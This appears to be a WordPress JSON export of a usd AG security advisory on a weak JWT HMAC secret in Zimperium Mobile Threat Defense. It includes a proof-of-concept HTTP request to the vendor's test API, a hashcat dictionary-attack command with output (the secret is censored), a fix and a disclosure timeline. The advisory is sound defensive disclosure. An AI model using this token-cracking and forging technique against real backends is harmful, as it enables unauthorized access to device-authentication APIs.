{"id":22292,"date":"2024-02-01T13:34:41","date_gmt":"2024-02-01T12:34:41","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=22292"},"modified":"2024-02-05T13:47:10","modified_gmt":"2024-02-05T12:47:10","slug":"usd-2023-0009","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0009\/","title":{"rendered":"usd-2023-0009"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.24.0\" _module_preset=\"default\" width=\"100%\" custom_margin=\"|||-2px||\" custom_padding=\"||13px|||\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2023-0009 | JWT weak HMAC secret in Zimperium Mobile Threat Defense<\/h1>\n<p><strong><\/strong><\/p>\n<p><strong>Product<\/strong>: Zimperium Mobile Threat Defense<br \/><strong>Affected Version<\/strong>: 4.22.8<br \/><strong>Vulnerability Type<\/strong>: CWE 347 - Improper Verification of Cryptographic Signature<br \/><strong>Security Risk<\/strong>: CRITICAL - CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:N<br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/www.zimperium.com\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.zimperium.com\/<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/><strong>Vendor Status<\/strong>: Unknown<br \/><strong>CVE number<\/strong>: Not requested<\/p>\n<h3>Affected Component<\/h3>\n<p>UAT environment (https:\/\/emea-uat-acceptor.zimperium.com\/srx) of Zimperium Mobile Threat Defense backend API.<\/p>\n<h3>Desciption<\/h3>\n<p>Zimperium Mobile Threat Defense is a mobile solution for protecting against mobile threats.<br \/>It allows monitoring devices in real-time for known and unknown threats.<br \/>In the network communication with the API backend we discovered a JSON Web Token (JWT) that is used as an authentication token in the HTTP request.<br \/>It seems to be used to authenticate devices.<br \/>We found that this JWT is signed by HMAC, while using a weak secret for generating the signature.<br \/>This allows an attacker to craft arbitrary JWT that are accepted by the backend API as valid authentication tokens.<\/p>\n<h3>Proof of Concept<\/h3>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\">1 POST \/srx HTTP\/1.1<br \/>2 Host: emea-uat-acceptor.zimperium.com<br \/>3 Content-Type: application\/x-protobuf<br \/>4 Connection: close<br \/>5 X-zimperium-compressionAlgorithm: none<br \/>6 auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleH[...]3NX0.ktN67yCsQNaAl9VY5fo<br \/>UesM18kptvHJ3FtO8EUFFFCU<br \/>7 Accept: <em>\/<\/em><br \/>8 User-Agent: Mozilla\/4.0<br \/>9 Content-Length: 2796<br \/>10 Accept-Language: de-DE,de;q=0.9<br \/>11 Accept-Encoding: gzip, deflate<br \/>12 [...]<\/pre>\n<\/div>\n<p>The used secret\/password could be gussed without much effort via a dictionary attack: k[....]t (censored). To do this, the JWT was written to a file called jwt.txt, cracking the password by using hashcat.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\">1 # hashcat -m 16500 -a 0 jwt.txt passwords.list<br \/>2 <br \/>3 hashcat (v6.2.6) starting <br \/>4 [...] <br \/>5 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleH[...]3NX0.ktN67yCsQNaAl9VY5foUesM18kptvHJ3FtO8EUFFFCU:k[...]t <br \/>6 <br \/>7 Session..........: hashcat <br \/>8 Status...........: Cracked <br \/>9 Hash.Mode........: 16500 (JWT (JSON Web Token)) <br \/>10 Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjQ4Mz...UFFFCU<\/pre>\n<\/div>\n<h3>Fix<\/h3>\n<p>We recommend to use a complex and random secret for signing the JWT. Following RFC 7518 chapter 3.2, this secret must have a minimum size as the size of the hash output of the used hash function.<\/p>\n<h3>References<\/h3>\n<p><a href=\"https:\/\/www.tenable.com\/plugins\/was\/112697\" target=\"_blank\" rel=\"noopener\">https:\/\/www.tenable.com\/plugins\/was\/112697<\/a><a href=\"https:\/\/portswigger.net\/kb\/issues\/00200903_jwt-weak-hmac-secret\" target=\"_blank\" rel=\"noopener\"><\/a><\/p>\n<p><a href=\"https:\/\/portswigger.net\/kb\/issues\/00200903_jwt-weak-hmac-secret\" target=\"_blank\" rel=\"noopener\">https:\/\/portswigger.net\/kb\/issues\/00200903_jwt-weak-hmac-secret<\/a><\/p>\n<p><a href=\"https:\/\/datatracker.ietf.org\/doc\/rfc7518\/\" target=\"_blank\" rel=\"noopener\">https:\/\/datatracker.ietf.org\/doc\/rfc7518\/<\/a><\/p>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2023-03-30<\/strong>: First contact request via security.public@zimperium.com.<\/li>\n<li><strong>2023-04-17<\/strong>: Sending vulnerability information to brian.caldwell@zimperium.com.<\/li>\n<li><strong>2023-04-28 and 2023-05-08<\/strong>: Sent status request email to brian.caldwell@zimperium.com.<\/li>\n<li><strong>2023-05-15<\/strong>: Issue initially confirmed by Zimperium.<\/li>\n<li><strong>2023-07-03 until 2023-10-23<\/strong>: Sent multiple status requests to Zimperium.<\/li>\n<li><strong>2023-10-25<\/strong>: Received reply stating that our vulnerability disclosure was unknown to Zimperium's security team, therefore resent the report.<\/li>\n<li><strong>2023-11-06 until 2023-11-20<\/strong>: Repeated requests asking for report confirmation.<\/li>\n<li><strong>2023-12-20<\/strong>: Zimperium confirms receiving our report.<\/li>\n<li><strong>2024-01-15<\/strong>: Requested another status updated and stated that we will assume the vulnerability to be fixed by end of january should we not hear otherwise.<\/li>\n<li><strong>2024-01-29<\/strong>: Received no answer as of yet.<\/li>\n<li><strong>2024-02-01<\/strong>: Since no answer was received this advisory is published.<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Dustin Born, Tim Kranz and Nicolas Schickert of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2023-0009 | JWT weak HMAC secret in Zimperium Mobile Threat Defense Product: Zimperium Mobile Threat DefenseAffected Version: 4.22.8Vulnerability Type: CWE 347 - Improper Verification of Cryptographic SignatureSecurity Risk: CRITICAL - CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:NVendor URL: https:\/\/www.zimperium.com\/Vendor acknowledged vulnerability: YesVendor Status: UnknownCVE number: Not requested Affected Component UAT environment (https:\/\/emea-uat-acceptor.zimperium.com\/srx) of Zimperium Mobile Threat Defense backend API. Desciption Zimperium [&hellip;]<\/p>\n","protected":false},"author":114,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-22292","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22292","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/114"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=22292"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22292\/revisions"}],"predecessor-version":[{"id":22325,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22292\/revisions\/22325"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=22292"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}